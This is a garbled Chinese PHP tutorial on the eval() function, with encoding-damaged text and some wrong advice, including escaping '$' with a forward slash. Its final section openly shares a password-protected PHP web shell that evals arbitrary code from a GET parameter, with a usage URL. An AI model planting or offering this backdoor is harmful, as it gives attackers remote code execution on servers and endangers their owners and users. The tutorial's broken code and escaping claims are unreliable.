代碼：

復(fù)制代碼 代碼如下:

eval("echo'hello world';");

上邊代碼等同于下邊的代碼：

echo"hello world";

在瀏覽器中都輸出：hello world

運(yùn)用eval()要注意幾點(diǎn)：

1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào)，在最后還要另加一個(gè)分號(hào)（這個(gè)分號(hào)是php限制）

2.注意單引號(hào)，雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話，變量前的$符號(hào)錢一定要有/來轉(zhuǎn)義。如果沒有賦值操作可以不需要。

代碼：

復(fù)制代碼 代碼如下:

$a=100;
eval("echo$a;");

因?yàn)闆]有賦值操作，所以可以不用/來轉(zhuǎn)義$.等同于以下代碼：

復(fù)制代碼 代碼如下:

$a=100;
eval("echo/$a;")

3.注意在命令式字符串（包括分號(hào)）兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。

命令式字符串是指：字符串中包括echo、print之類的命令的時(shí)候。

如果參數(shù)只有一個(gè)變量則可以不用。例如：

復(fù)制代碼 代碼如下:

$func =<<<FUNC
function test(){ 
    echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享個(gè)php eval后門程序

要求必須支持eval函數(shù)
使用方法
?pwd=admin&action=eval&a=phpinfo();

復(fù)制代碼 代碼如下:

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>